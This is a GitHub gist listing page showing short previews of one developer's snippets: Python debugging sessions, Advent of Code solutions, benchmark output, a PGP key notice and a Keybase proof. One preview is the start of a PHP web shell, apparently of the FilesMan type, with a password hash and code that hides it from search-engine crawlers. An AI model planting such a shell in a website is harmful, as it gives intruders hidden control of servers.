Skip to content

Instantly share code, notes, and snippets.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512,SHA1
Date: 2018-07-27
For a number of reasons, I have recently set up a new OpenPGP key,
and will be transitioning away from my old one.
The old key will continue to be valid for some time, but I prefer all
future correspondence to come to the new one. I would also like this
# Python 2.7.13 build with pytracemalloc patches applied.
$ python27_tracemalloc test-pickle-tracemalloc.py
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
Baseline (Tot: 0.0 MiB, Inc: 0.0 MiB)
Data created (Tot: 200.0 MiB, Inc: 200.0 MiB)
Pickle dumped (Tot: 246.0 MiB, Inc: 46.0 MiB)
$ python27_tracemalloc test-pickle-tracemalloc.py load
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
@mjpieters
mjpieters / advent06.py
Last active December 23, 2015 18:14
Advent of Code fun
# Having fun with http://adventofcode.com/day/6 Advent of Code
import re
from itertools import product
from collections import defaultdict
try:
from PIL import Image
except ImportError:
>>> import re
>>> invalid_escape = re.compile(r'\\([1-3][0-7]{2}|[1-7][0-7]?)') # octal digits from 1 up to FF
>>> def replace_with_codepoint(match):
... return chr(int(match.group(0)[1:], 8))
...
>>> def repair(brokenjson):
... return invalid_escape.sub(replace_with_codepoint, brokenjson)
...
>>> sample = '{"destination":"Provence-Alpes-C\\303\\264te d\'Azur"}'
>>> repair(sample)

Keybase proof

I hereby claim:

  • I am mjpieters on github.
  • I am zopatista (https://keybase.io/zopatista) on keybase.
  • I have a public key whose fingerprint is 7037 7A88 E2D5 5007 728F DC81 DF16 A3D8 63AF 80FD

To claim this, I am signing this object:

from bisect import bisect_left, bisect_right
def ani(arr, a, b):
arr.sort()
return sum(
bisect_right(arr, b - x, lo) - bisect_left(arr, a - x, lo)
for lo, x in enumerate(arr, 1))
$auth_pass = "59ec7b5aee2b1838eeb94b2268a1e685";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
>>> import sqlite3
>>> conn = sqlite3.connect(':memory:')
>>> cursor = conn.cursor()
>>> cursor.execute('CREATE TABLE demo (foo PRIMARY KEY, bar INTEGER, spam TEXT, eggs INTEGER NOT NULL DEFAULT 0)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> cursor.execute('PRAGMA table_info(demo)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> [r[1] for r in cursor]
[u'foo', u'bar', u'spam', u'eggs']
In [1]: from random import randint
In [2]: lines = [randint(0, 42) for _ in range(10000)]
In [3]: %%timeit
...: for _ in lines[::-1]: pass
...:
10000 loops, best of 3: 149 µs per loop
In [4]: %%timeit
@mjpieters
mjpieters / 4 elements, 1 if
Last active August 29, 2015 14:04
Literal comparisons
$ bin/python test.py 4 1
-------------------------
Configuration:
Number of elements to check against: 4
Number of if statements: 1
-------------------------
Concatenated boolean operators
0.1044412124203518
List
0.06876948488876224